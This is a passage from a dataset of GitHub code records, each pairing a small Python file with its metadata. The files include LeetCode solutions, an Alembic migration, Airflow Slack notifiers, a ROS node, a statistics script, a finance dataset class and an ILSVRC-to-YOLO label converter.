You!\")\n break\n else:\n print(\"Choose valid option\")\n print(\"Try again!\")\n \n","repo_name":"apurvjain9999/Python-Lab","sub_path":"apurv_polynomial.py","file_name":"apurv_polynomial.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23545359023","text":"\"\"\"Change wallet ID to String\n\nRevision ID: 5a4d2b1515c6\nRevises: e591bdcc4de6\nCreate Date: 2021-06-27 20:29:20.177717\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '5a4d2b1515c6'\ndown_revision = 'e591bdcc4de6'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('wallet', schema=None) as batch_op:\n batch_op.add_column(sa.Column('internal_id', sa.String(), nullable=True))\n batch_op.drop_column('id')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('wallet', schema=None) as batch_op:\n batch_op.add_column(sa.Column('id', sa.INTEGER(), autoincrement=False, nullable=True))\n batch_op.drop_column('internal_id')\n\n # ### end Alembic commands ###\n","repo_name":"camidvorkin/frux-app-server","sub_path":"frux_app_server/migrations/versions/5a4d2b1515c6_change_wallet_id_to_string.py","file_name":"5a4d2b1515c6_change_wallet_id_to_string.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"6570800067","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 19 16:54:20 2022\r\n\r\n@author: david\r\n\r\nLeetCode - Easy 844. Backspace String Compare\r\n\"\"\"\r\n\r\ndef removeFrontSpace(s):\r\n cpt_s = 0\r\n i = 0\r\n while i < len(s):\r\n if s[i] == '#':\r\n cpt_s += 1\r\n s.pop(i)\r\n continue\r\n if cpt_s >0:\r\n s.pop(i)\r\n cpt_s -= 1\r\n continue\r\n i += 1\r\n \r\ndef backspaceCompare(s, t):\r\n S = list(s)[::-1]\r\n T = list(t)[::-1]\r\n \r\n removeFrontSpace(S)\r\n removeFrontSpace(T)\r\n \r\n return S==T","repo_name":"Gadoli/LeetCode","sub_path":"src/easy844.py","file_name":"easy844.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12445084952","text":"import json\n\nimport requests\nfrom airflow.operators.python import PythonOperator\n\nimport hierarchy_service.config.common.settings as config\nfrom hierarchy_service.base.utils.conditional_operator import conditional_operator\nfrom hierarchy_service.config.etl.settings import HIERARCHY_ETL_DAG_ID\nfrom hierarchy_service.config.bo_etl.settings import HIERARCHY_BO_ETL__DAG_ID\nfrom hierarchy_service.config.bo_export_hierarchy.settings import HIERARCHY_BO_EXPORT_HIERARCHY__DAG_ID\n\n\ndetails_by_dag = {\n HIERARCHY_ETL_DAG_ID: {\n \"emoji\": \":postgresql:\",\n \"dag_name\": \"HIERARCHY ETL\",\n },\n HIERARCHY_BO_ETL__DAG_ID: {\n \"emoji\": \":postgresql:\",\n \"dag_name\": \"HIERARCHY BO ETL\",\n },\n HIERARCHY_BO_EXPORT_HIERARCHY__DAG_ID: {\"emoji\": \":arrow_upper_right:\", \"dag_name\": \"EXPORT HIERARCHY BO\"},\n}\n\n\nsections = {\n \"started\": {\n \"header\": \":information_source: Run started\",\n \"body\": \"DAG with `run_id = %(run_id)s` has started\",\n },\n \"finished\": {\n \"header\": \":white_check_mark: Run finished\",\n \"body\": \"DAG with `run_id = %(run_id)s` has finished successfully\",\n },\n \"failed\": {\n \"header\": \":x: Run failed\",\n \"body\": \"DAG with `run_id = %(run_id)s` has failed at task with id `%(task_id)s`\",\n },\n}\n\n\ndef build_status_msg(dag_id, status, mappings):\n details = details_by_dag[dag_id]\n return json.dumps(\n {\n \"username\": details[\"dag_name\"],\n \"icon_emoji\": details[\"emoji\"],\n \"blocks\": [\n {\n \"type\": \"section\",\n \"text\": {\n \"type\": \"mrkdwn\",\n \"text\": sections[status][\"header\"],\n },\n },\n {\n \"type\": \"section\",\n \"text\": {\n \"type\": \"mrkdwn\",\n \"text\": sections[status][\"body\"] % mappings,\n },\n },\n {\n \"type\": \"context\",\n \"elements\": [\n {\n \"type\": \"mrkdwn\",\n \"text\": f\"Environment: *{config.STAGE}*\",\n },\n ],\n },\n ],\n }\n )\n\n\ndef send_slack_notification(payload):\n webhook = config.SLACK_WEBHOOK\n requests.post(webhook, data=payload, headers={\"content-type\": \"application/json\"})\n\n\ndef send_file_content_to_channels(file_content, channels, initial_comment, title):\n payload = {\n \"content\": file_content,\n \"channels\": \",\".join(channels),\n \"initial_comment\": initial_comment,\n \"title\": title,\n }\n response = requests.post(\n \"https://slack.com/api/files.upload\",\n data=payload,\n headers={\n \"Authorization\": f\"Bearer {config.SLACK_EXPOS_BOT_TOKEN}\",\n },\n )\n print(response.json())\n\n\ndef on_failure_callback(context):\n if not config.SHOULD_NOTIFY:\n return\n ti = context[\"task_instance\"]\n run_id = context[\"run_id\"]\n dag_id = context[\"dag\"].dag_id\n send_slack_notification(\n payload=build_status_msg(\n dag_id=dag_id,\n status=\"failed\",\n mappings={\"run_id\": run_id, \"task_id\": ti.task_id},\n ),\n )\n\n\ndef on_success_callback(context):\n if not config.SHOULD_NOTIFY:\n return\n run_id = context[\"run_id\"]\n dag_id = context[\"dag\"].dag_id\n send_slack_notification(\n payload=build_status_msg(\n dag_id=dag_id,\n status=\"finished\",\n mappings={\"run_id\": run_id},\n ),\n )\n\n\ndef send_slack_dag_status(status, run_id, dag_id):\n webhook = config.SLACK_WEBHOOK\n payload = build_status_msg(\n dag_id=dag_id,\n status=status,\n mappings={\"run_id\": run_id},\n )\n requests.post(webhook, data=payload, headers={\"content-type\": \"application/json\"})\n\n\ndef notify_start_task():\n return conditional_operator(\n task_id=\"notify_dag_start\",\n condition=config.SHOULD_NOTIFY,\n operator=PythonOperator,\n op_kwargs={\"status\": \"started\", \"run_id\": \"{{ run_id }}\", \"dag_id\": \"{{ dag.dag_id }}\"},\n python_callable=send_slack_dag_status,\n )\n","repo_name":"Embonor-CocaCola/hierarchy-airflow","sub_path":"dags/hierarchy_service/base/utils/slack.py","file_name":"slack.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26947504338","text":"#! /usr/bin/env python\n\nimport rospy\nfrom sensor_msgs.msg import Joy\n\n\"\"\"\n/arm_elbow_flex_joint/command\n/arm_shoulder_lift_joint/command\n/arm_shoulder_pan_joint/command\n/arm_wrist_flex_joint/command\n/gripper_joint/command\n\"\"\"\n\nclass Autorepeat(object):\n def __init__(self):\n super(Autorepeat, self).__init__()\n self.ps3joy = rospy.Subscriber('/joy', Joy, self.publicar)\n self.node = rospy.Publisher('/autorepeat', Joy, queue_size = 1)\n self.msg = Joy()\n def publicar(self, state):\n self.msg = state\n\n def publica(self):\n self.node.publish(self.msg)\n\ndef init():\n rospy.init_node('Autorepeat')\n rate = rospy.Rate(100) # 10hz\n autorepeat = Autorepeat()\n while not rospy.is_shutdown():\n autorepeat.publica()\n rate.sleep()\n\n\nif __name__ == '__main__':\n try:\n init()\n except rospy.ROSInterruptException:\n pass\n\n","repo_name":"mvarasg/demops3_ws","sub_path":"src/demops3/src/autorepeat.py","file_name":"autorepeat.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"73238910597","text":"from __future__ import annotations\n\nimport ast\nfrom pathlib import Path\n\nimport refactor\nfrom refactor import InsertAfter, Replace\nfrom refactor.context import Scope\n\n\nclass RefactorAsserts(refactor.Rule):\n FILES = frozenset([\"refactor/common.py\"])\n\n def check_file(self, file: Path | None) -> bool:\n return str(file) in self.FILES\n\n def match(self, node: ast.AST) -> Replace:\n assert isinstance(node, ast.Assert)\n\n replacement = ast.Raise(\n exc=ast.Call(\n ast.Name(\"ValueError\", ast.Load()),\n args=[ast.Constant(f\"condition failed: {ast.unparse(node.test)}\")],\n keywords=[],\n )\n )\n guard = ast.If(\n test=ast.UnaryOp(op=ast.Not(), operand=node.test),\n body=[replacement],\n orelse=[],\n )\n return Replace(node, guard)\n\n\ndef _is_hinted_with(node: ast.AST, name: str) -> bool:\n return (\n len(node.decorator_list) >= 1\n and isinstance(node.decorator_list[0], ast.Call)\n and isinstance(node.decorator_list[0].func, ast.Name)\n and node.decorator_list[0].func.id == \"_hint\"\n and node.decorator_list[0].args[0].value == name\n )\n\n\nclass ProcessDeprecationHints(refactor.Rule):\n FILES = frozenset([\"refactor/actions.py\"])\n context_providers = (Scope,)\n\n def check_file(self, file: Path | None) -> bool:\n return str(file) in self.FILES\n\n def match(self, node: ast.AST) -> InsertAfter | None:\n assert isinstance(node, ast.ClassDef)\n assert _is_hinted_with(node, \"deprecated_alias\")\n\n alias_name = node.decorator_list[0].args[1].value\n\n # If we already have the alias, then we can pass\n # this check.\n global_scope = self.context.metadata[\"scope\"].resolve(node)\n if global_scope.defines(alias_name):\n return None\n\n replacement = ast.ClassDef(\n name=alias_name,\n bases=[ast.Name(node.name), ast.Name(\"_DeprecatedAliasMixin\")],\n keywords=[],\n body=[ast.Expr(ast.Constant(...))],\n decorator_list=[ast.Name(\"dataclass\")],\n )\n return InsertAfter(node, replacement)\n\n\nif __name__ == \"__main__\":\n refactor.run([RefactorAsserts, ProcessDeprecationHints])\n","repo_name":"isidentical/refactor","sub_path":"refactors.py","file_name":"refactors.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":426,"dataset":"github-code","pt":"62"} +{"seq_id":"12397714051","text":"import csv\n\n\nclass CSV_handler:\n\n def __init__(self, file):\n self.file = file\n self.rows = []\n self.params_array = []\n\n def process_csv(self):\n try:\n with open(self.file, \"r\", newline=\"\") as csv_file:\n csv_data = csv.DictReader(csv_file, delimiter=';')\n for row in csv_data:\n # self.rows.append(''.join(row))\n self.rows.append(row)\n except FileNotFoundError:\n raise FileNotFoundError\n\n def get_rows(self):\n return self.rows\n","repo_name":"sckelten/fssp-ipdb","sub_path":"src/utils/csv_handler.py","file_name":"csv_handler.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"12156030999","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def partition(self, head: Optional[ListNode], x: int) -> Optional[ListNode]:\n \n less_head = ListNode(0)\n less = less_head\n great_head = ListNode(0)\n great = great_head\n \n while head:\n if head.val < x:\n less.next = head\n less = less.next\n \n else:\n great.next = head\n great = great.next\n head = head.next\n \n # Connect the end of the \"less\" list to the start of the \"great\" list\n less.next = great_head.next\n great.next = None\n # print(great)\n return less_head.next","repo_name":"haileadugna/A2SV","sub_path":"0086-partition-list/0086-partition-list.py","file_name":"0086-partition-list.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"25590520460","text":"import argparse\n\nfrom downtime.app_container import container\n\n\nparser = argparse.ArgumentParser(description='Reminds you to take breaks from the computer')\nparser.add_argument('profile_name', type=str)\nargs = parser.parse_args()\n\nprofile_runner = container.profile_runner()\nprofile_runner.run(args.profile_name)","repo_name":"Zentren/downtime","sub_path":"downtime.py","file_name":"downtime.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7148377950","text":"'''\nAuthor: Bhagya Hendalage\nDate:22/01/2021\nInput: temperature.csv\nOutput:do statistical analysis two paired sample t-test(Kruskal-Wallis H Test)\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nfrom statsmodels.graphics.gofplots import qqplot\nfrom scipy import stats\n#read the datafile\nblackbird = pd.read_csv('BlackbirdTestosterone.csv')\n#to get rid from spaces of the colomn header\nblackbird=blackbird.rename(columns={'log before':'before','log after':'after','dif in logs':'diff'})\nprint(blackbird)\n# seperate columns\nbefore_data=blackbird['before']\nprint(before_data)\n# seperate columns\nafter_data=blackbird['after']\nprint(after_data)\n# seperate columns\ndiff_data=blackbird['diff']\nprint(diff_data)\n# discriptive statisctics\nprint('before data :',before_data.describe())\nprint('after data :',after_data.describe())\nprint('difference data :',diff_data.describe())\n\n# draw qq plot and histogram for log difference\nqqplot(diff_data, line='s')\nplt.title('QQplot for log difference')\nplt.show()\nplt.hist(diff_data)\nplt.title(\"Histogram for log difference\")\nplt.show()\n#Shapiro\nstat, p = stats.shapiro(diff_data)\nprint('P value of log difference:',p)\nstat, p = stats.shapiro(before_data)\nprint('P value of log before:',p)\nstat, p = stats.shapiro(after_data)\nprint('P value of log after:',p)\n# draw boxplots for two samples\nfig,ax =plt.subplots(1,2, figsize=(12,3))\nax[0].boxplot(before_data)\nax[0].set_title(\"Boxplot of before level of testosterone\")\nax[1].boxplot(after_data)\nax[1].set_title(\"Boxplot of after level of testosterone\")\nplt.show()\n\n# draw violin plots for two samples\nfig,ax =plt.subplots(1,2, figsize=(12,3))\nax[0].violinplot(before_data)\nax[0].set_title(\"Violin plot of before level of testosterone\")\nax[1].violinplot(after_data)\nax[1].set_title(\"Violin plot of after level of testosterone\")\nplt.show()\n\n#independed sample t-test\nstat,p = stats.kruskal(before_data,after_data)\nprint('P value for paired sample t-test',p)\n","repo_name":"BhagyaHendalage/Minor-Projects","sub_path":"mini_project5/PR5_Q3.py","file_name":"PR5_Q3.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15072652741","text":"#conding:utf-8\n'''\nCreated on 2015年10月8日\n\n@author: Mr.li\n'''\nfrom ctypes import *\nfrom my_debugger_defines import *\nkernel32 = windll.kernel32\npath = raw_input(\"输入路径:\")\ncreate_flags = DEBUG_PROCESS\nstartupinfo = STARTUPINFO()\nprocess_information = PROCESS_INFORMATION()\n\nstartupinfo.dwFlags =0x1\nstartupinfo.wShowWindow = 0x0\n\nstartupinfo.cd = sizeof(startupinfo)\n\nkernel32.CreateProcessA(path,None,None,None,None,create_flags,None,None,byref(startupinfo),byref(process_information))\nprint(process_information.dwProcessId)","repo_name":"Sirlsliang/PythonDebugger","sub_path":"load_my_looper.py","file_name":"load_my_looper.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25447302102","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2020/9/4 14:11\r\n# @Author : tmb\r\nclass TreeNode:\r\n def __init__(self, x):\r\n self.val = x\r\n self.left = None\r\n self.right = None\r\n\r\n\r\n'''\r\npre[1,2,4,5,3,6,7]\r\nin [4,2,5,1,6,3,7]\r\n'''\r\n\r\n\r\nclass Solution:\r\n def buildTree(self, preorder, inorder):\r\n if not preorder: # 如果数组大小为0,说明是空节点\r\n return None\r\n root = TreeNode(preorder[0]) # 首先建立根节点\r\n i = inorder.index(root.val) # 找到前序遍历的第一个节点在中序数组中的index\r\n root.left = self.buildTree(preorder[1:i + 1], inorder[:i + 1]) # 索引到i+1,到i\r\n root.right = self.buildTree(preorder[i + 1:], inorder[i + 1:])\r\n return root\r\n\r\n\r\nif __name__ == '__main__':\r\n a = Solution()\r\n b = a.buildTree([3, 9, 20, 15, 7], [9, 3, 15, 20, 7])\r\n","repo_name":"tianmingbo/GOOD-GOOD-STUDY","sub_path":"LeetCode/树/105、从前序与中序遍历序列构造二叉树.py","file_name":"105、从前序与中序遍历序列构造二叉树.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"27091968009","text":"\"\"\"This module contains a `YFinanceRRVolDataset` dataset\n\nThis dataset contains the following targets:\n - stock close\n - reutrn rates\n - volatility.\n\"\"\"\nimport numpy as np\nimport yfinance as yf\nfrom sklearn.preprocessing import MinMaxScaler\nfrom torch.utils.data import Dataset\nimport torch\n\nfrom . import dataset_utils as utils\n\n\nclass YFinanceRRVolDataset(Dataset):\n \"\"\"Dataset with financial close prices, daily returns and volatility.\n \"\"\"\n def __init__(\n self,\n ticker: str,\n window_size: int,\n start_date: str = '2017-01-01',\n end_date: str = '2021-10-01',\n transform=None,\n target_transform=None,\n scale_target: bool = False\n ):\n self.scaler = MinMaxScaler(feature_range=(0, 1))\n self.ticker = ticker\n self.transform = transform\n self.target_transform = target_transform\n\n stock_df = yf.download(ticker, start=start_date, end=end_date)\n stock_close = stock_df[\"Close\"].values\n\n scaled_data = self.scaler.fit_transform(stock_close.reshape(-1, 1))\n\n daily_rr = utils.get_daily_returns(stock_close)\n vol = utils.get_volatility(stock_close, window_size)\n dir_change = utils.get_pos_neg_change(stock_close)\n\n y_aux = np.concatenate(\n [daily_rr[None], vol[None], dir_change[None]]\n ).transpose()\n\n x_data, y_data, y_aux = utils.split_dataset_aux(\n scaled_data, window_size, y_aux\n )\n\n x_data, y_data = np.array(x_data), np.array(y_data)\n x_data = np.reshape(x_data, (x_data.shape[0], x_data.shape[1], 1))\n # y_data = np.reshape(y_data, (y_data.shape[0], 1))\n if not scale_target:\n y_data = self.scaler.inverse_transform(y_data)\n\n self.x = torch.tensor(x_data).float()\n self.y = torch.tensor(y_data).float()\n self.y_aux = torch.tensor(y_aux).float()\n\n def __len__(self) -> int:\n \"\"\"Returns a length of a dataset.\n\n Returns:\n int: Length of a dataset\n \"\"\"\n return len(self.x)\n\n def __getitem__(self, idx: int) -> tuple:\n \"\"\"Gets individual item from a dataset.\n\n Args:\n idx (int): Index of data to fetch.\n\n Returns:\n tuple: Tuple with the following elements:\n - input data\n - label data\n - auxilary label data\n (daily returns, volatility, up/down change)\n \"\"\"\n x_data = self.x[idx]\n y_data = self.y[idx]\n y_aux = self.y_aux[idx]\n\n if self.transform:\n x_data = self.transform(x_data)\n if self.target_transform:\n y_data = self.target_transform(y_data)\n\n return x_data, [y_data, y_aux[0], y_aux[1], y_aux[2]]\n","repo_name":"konradmy/ts-transformers","sub_path":"ts_transformers/datasets/rr_vol_cl_dataset.py","file_name":"rr_vol_cl_dataset.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71782045959","text":"from TEA_config import *\n\n# Setup for time/speed testing\nif times:\n import time\n start = time.time()\n\nimport os\nfrom numpy import size\nfrom numpy import where\nfrom sys import argv\nfrom sys import stdout\n\nimport lagrange as lg\nimport lambdacorr as lc\nimport format as form\nfrom format import printout\n\n# =============================================================================\n# This program executes the iteration loop for TEA. It repeats Lagrangian \n# minimization (lagrange.py) and lambda correction (lambdacorr.py) until the\n# maximum iteration is reached. The code has time stamps for checking the speed\n# of execution and is verbose for debugging purposes. Both are controlled in\n# TEA_config.py file.\n#\n# The flow of the code goes as follows: the current header, output, and result\n# directory are read; physical properties are retrieved from the header, and \n# the balance.py output is read as the initial iteration input and passed to\n# lagrange.py. Lagrange x_i values are then checked for negative values: the\n# next iteration starts either with lambda correction output (if negative x_i's\n# are found) or with the output produced by lagrange.py (if all x_i's are\n# positive). This procedure is repeated until the maximum iteration is reached,\n# which stops the loop. Intermediate results from each iteration step are\n# written in the machine- and human-readable output files on the user's request\n# in TEA_config.py. \n#\n# The program is executed by runatm.py and can be executed alone with in-shell\n# input: iterate.py
    \n# =============================================================================\n\n# Time / speed testing\nif times:\n end = time.time()\n elapsed = end - start\n print(\"iterate.py imports: \" + str(elapsed))\n\n# Read run-time arguments\nheader = argv[1:][0] # Name of header file\ndesc = argv[1:][1] # Description of the run\n\n# Create and name outputs and results directories if they do not exist\ndatadir = 'outputs/' + 'transient/' + desc # Location of storage directory\ndatadirr = 'results/' + desc # Location of final results\n\nif not os.path.exists(datadir): os.makedirs(datadir)\nif not os.path.exists(datadirr): os.makedirs(datadirr)\n\n# Retrieve header info\ninhead = form.readheader(header)\npressure = inhead[0]\ntemp = inhead[1]\n\n# Locate and read initial iteration output from balance.py\ninfile = datadir + '/lagrange-iteration-0-machine-read.txt'\ninput = form.readoutput(infile)\n\n# Retrieve and set initial values\nspeclist = input[2]\nx = input[3]\nx_bar = input[6]\n\n# Set up first iteration \nit_num = 1\nrepeat = True\n\n# Prepare data object for iterative process \n# (see description of the 'direct' object in lagrange.py)\nlambdacorr_data = [header, 0, speclist, x, x, 0, x_bar, x_bar, 0]\n\n# Time / speed testing\nif times:\n new = time.time()\n elapsed = new - end\n print(\"pre-loop setup: \" + str(elapsed))\n\n# ====================== PERFORM MAIN TEA LOOP ====================== #\n\nwhile repeat:\n # Output iteration number\n if ((not doprint) & (not times)):\n stdout.write(' ' + str(it_num) + '\\r')\n stdout.flush()\n\n # Time / speed testing for lagrange.py\n if times:\n ini = time.time()\n \n # Execute Lagrange minimization\n lagrange_data = lg.lagrange(it_num, datadir, doprint, lambdacorr_data)\n \n # Time / speed testing for lagrange.py\n if times:\n fin = time.time()\n elapsed = fin - ini\n print(\"lagrange\" + str(it_num).rjust(4) + \" : \" + str(elapsed)) \n \n # Print for debugging purposes\n if doprint:\n printout('Iteration %d Lagrange complete. Starting lambda correction...', it_num)\n \n # Take final x_i mole numbers from last Lagrange calculation \n lagrange_x = lagrange_data[4]\n \n # Check if x_i have negative mole numbers, and if yes perform lambda correction\n if where((lagrange_x < 0) == True)[0].size != 0:\n # Print for debugging purposes \n if doprint:\n printout('Correction required. Initializing...')\n \n # Time / speed testing for lambdacorr.py\n if times:\n ini = time.time()\n \n # Execute lambda correction\n lambdacorr_data = lc.lambdacorr(it_num, datadir, doprint, \\\n lagrange_data)\n \n # Print for debugging purposes\n if times:\n fin = time.time()\n elapsed = fin - ini\n print(\"lambcorr\" + str(it_num).rjust(4) + \" : \" + \\\n str(elapsed))\n \n # Print for debugging purposes\n if doprint:\n printout('Iteration %d lambda correction complete. Checking precision...', it_num)\n\n # Lambda correction is not needed\n else:\n # Pass previous Lagrange results as inputs to next iteration\n lambdacorr_data = lagrange_data\n\n # Print for debugging purposes\n if doprint:\n printout('Iteration %d did not need lambda correction.', it_num)\n \n # Retrieve most recent iteration values\n input_new = lambdacorr_data\n\n # Take most recent x_i and x_bar values \n x_new = input_new[4]\n x_bar_new = input_new[7]\n \n # If max iteration not met, continue with next iteration cycle\n if it_num < maxiter: \n # Add 1 to iteration number\n it_num += 1\n\n # Print for debugging purposes\n if doprint:\n printout('Max interation not met. Starting next iteration...\\n')\n \n # ============== Stop the loop, max iteration reached ============== #\n\n # Stop if max iteration is reached \n else:\n # Print to screen\n printout('Maximum iteration reached, ending minimization.\\n')\n\n # Set repeat to False to stop the loop\n repeat = False\n\n # Calculate delta values\n delta = x_new - x\n\n # Calculate delta_bar values\n delta_bar = x_bar_new - x_bar\n \n # Name output files with corresponding iteration number name\n file_results = datadirr + '/results-machine-read.txt'\n file_fancyResults = datadirr + '/results-visual.txt'\n\n # Export all values into machine and human readable output files \n form.output(datadirr, header, it_num, speclist, x, x_new, delta, \\\n x_bar, x_bar_new, delta_bar, file_results, doprint)\n form.fancyout_results(datadirr, header, it_num, speclist, x, x_new, \\\n delta, x_bar, x_bar_new, delta_bar, pressure, \\\n temp, file_fancyResults, doprint)\n\n","repo_name":"dzesmin/BART_init","sub_path":"TEA/iterate.py","file_name":"iterate.py","file_ext":"py","file_size_in_byte":6719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"442331684","text":"import os\nimport pathlib\nimport contextlib\nfrom xml.etree import ElementTree as ET\nfrom bbox import BBox\nuse_mapping=True\nif not use_mapping:\n from label_default import ILSVRCLabelNames\n ILSVRCLabelNames.init('/data/huge/ILSVRC/LOC_synset_mapping.txt')\n assert 0 <= ILSVRCLabelNames.label_index('n02085620')\n assert 0 <= ILSVRCLabelNames.label_index('n02085782')\n assert 0 <= ILSVRCLabelNames.label_index('n02088364')\n OUT_dir = '/data/huge/ILSVRC/yolo'\nelif True:\n from label_chihuahua import ChihuahuaILSVRCLabelNames as ILSVRCLabelNames\n ILSVRCLabelNames.init('/data/work/dog/00input-chihuahua/chihuahua.txt', '/data/huge/ILSVRC/LOC_synset_mapping.txt')\n assert set((1, 0)) == set(ILSVRCLabelNames.label_index('n02085620'))\n assert 0 == ILSVRCLabelNames.label_index('n02085782')\n assert 0 == ILSVRCLabelNames.label_index('n02088364')\n OUT_dir = '/data/work/dog/00input-chihuahua'\nelse:\n from label_dog import DogILSVRCLabelNames as ILSVRCLabelNames\n ILSVRCLabelNames.init('/data/work/dog/00input-dog/dog.txt', '/data/huge/ILSVRC/LOC_synset_mapping.txt')\n assert 0 == ILSVRCLabelNames.label_index('n02085620')\n assert 0 == ILSVRCLabelNames.label_index('n02085782')\n assert 0 == ILSVRCLabelNames.label_index('n02088364')\n OUT_dir = '/data/work/dog/00input-dog'\nresume=False\n\n_min_x_w = 9999999999\n_min_y_h = 9999999999\n_max_x_w = 0\n_max_y_h = 0\n_max_w = 0\n_max_h = 0\n_max_w_h = 0\n_max_h_w = 0\n_have_difficult = False\n\ndef xml2yolo(xml, yolo, yolo_wo_difficult):\n global resume\n global _min_x_w, _min_y_h, _max_x_w, _max_y_h\n global _max_w, _max_h, _max_w_h, _max_h_w\n global _have_difficult\n xml = ET.parse(xml)\n\n tree_size = xml.find('size')\n w = float(tree_size.find('width').text)\n h = float(tree_size.find('height').text)\n\n if _max_w < w:\n _max_w = w\n print('New max width: {}'.format(w))\n if _max_h < h:\n _max_h = h\n print('New max height: {}'.format(h))\n if h < w:\n w_h = w / h\n if _max_w_h < w_h:\n _max_w_h = w_h\n print('New width / height: {}'.format(w_h))\n else:\n h_w = h / w\n if _max_h_w < h_w:\n _max_h_w = h_w\n print('New height / width: {}'.format(h_w))\n\n lines = []\n lines_wo_difficult = []\n prev_ignore = ''\n use_for_negative = False\n for tree_obj in xml.findall('object'):\n label = tree_obj.find('name').text\n try:\n label_index = ILSVRCLabelNames.label_index(label)\n except:\n assert use_mapping\n if prev_ignore != label:\n prev_ignore = label\n #print(',Ignoring {}'.format(label), end='', flush=True)\n print('.', end='', flush=True)\n continue\n if not isinstance(label_index, (tuple, list)) and 0 > label_index:\n assert use_mapping\n use_for_negative = True\n continue\n\n is_difficult = (0 != int(tree_obj.find('difficult').text.strip()))\n\n tree_bbox = tree_obj.find('bndbox')\n bbox = BBox(hw=(h, w), type_=BBox.ILSVRC, bbox=tuple(map(lambda k: float(tree_bbox.find(k).text.strip()), ('xmin', 'ymin', 'xmax', 'ymax'))))\n xmin, ymin, xmax, ymax = bbox.get(type_=BBox.OPEN_IMAGES)\n if _min_x_w > xmin:\n _min_x_w = xmin\n print('New min xmin / (width-1): {}'.format(_min_x_w))\n if _min_y_h > ymin:\n _min_y_h = ymin\n print('New min ymin / (height-1): {}'.format(_min_y_h))\n if _max_x_w < xmax:\n _max_x_w = xmax\n print('New max xmax / (width-1): {}'.format(_max_x_w))\n if _max_y_h < ymax:\n _max_y_h = ymax\n print('New max ymax / (height-1): {}'.format(_max_y_h))\n for li in label_index if isinstance(label_index, (tuple, list)) else ( label_index, ):\n line = '{} {:1.15f} {:1.15f} {:1.15f} {:1.15f}\\n'.format(li, *bbox.get(type_=BBox.YOLO))\n lines.append(line)\n if is_difficult:\n _have_difficult = True\n else:\n lines_wo_difficult.append(line)\n\n if lines_wo_difficult and yolo_wo_difficult:\n os.makedirs(os.path.dirname(yolo_wo_difficult), exist_ok=True)\n with open(yolo_wo_difficult, 'w', newline='\\n') as f_wo_difficult:\n for line in lines_wo_difficult:\n f_wo_difficult.write(line)\n\n is_used = False\n if use_for_negative or lines:\n is_used = True\n if os.path.exists(yolo):\n if resume: return is_used\n raise FileExistsError(yolo)\n os.makedirs(os.path.dirname(yolo), exist_ok=True)\n with open(yolo, 'w', newline='\\n') as f:\n for line in lines:\n f.write(line)\n\n return is_used\n\ndef main():\n global _min_x_w, _min_y_h, _max_x_w, _max_y_h\n global _max_w, _max_h, _max_w_h, _max_h_w\n global _have_difficult\n global OUT_dir\n\n #####\n # input\n ILSVRC_dir = '/data/huge/ILSVRC'\n files = {\n 'train': os.path.join(ILSVRC_dir, 'ImageSets/CLS-LOC/train_loc.txt'),\n 'val': os.path.join(ILSVRC_dir, 'ImageSets/CLS-LOC/val.txt'),\n 'test': os.path.join(ILSVRC_dir, 'ImageSets/CLS-LOC/test.txt'),\n }\n\n #####\n # output\n NAME='ilsvrc'\n\n for d in ( 'images', 'labels', 'labels-wo-difficult', 'lists' ):\n if not os.path.exists(os.path.join(OUT_dir, d)):\n os.makedirs(os.path.join(OUT_dir, d), exist_ok=True)\n if not os.path.exists(os.path.join(OUT_dir, 'images', NAME)):\n os.symlink(os.path.join(ILSVRC_dir, 'Data/CLS-LOC'), os.path.join(OUT_dir, 'images', NAME))\n\n # create labels and lists\n with open(os.path.join(OUT_dir, 'lists', NAME + '.txt'), 'w') if use_mapping else contextlib.nullcontext() as fom:\n for split, file in files.items():\n with open(file, 'r') as fi, \\\n contextlib.nullcontext() if use_mapping else open(os.path.join(OUT_dir, 'lists', split + '.txt'), 'w') as fos:\n fo = fom if use_mapping else fos\n prev_yolo_dir = ''\n for line in fi:\n id_ = line.split()\n if not id_: continue\n id_ = id_[0]\n xml = os.path.join(ILSVRC_dir, 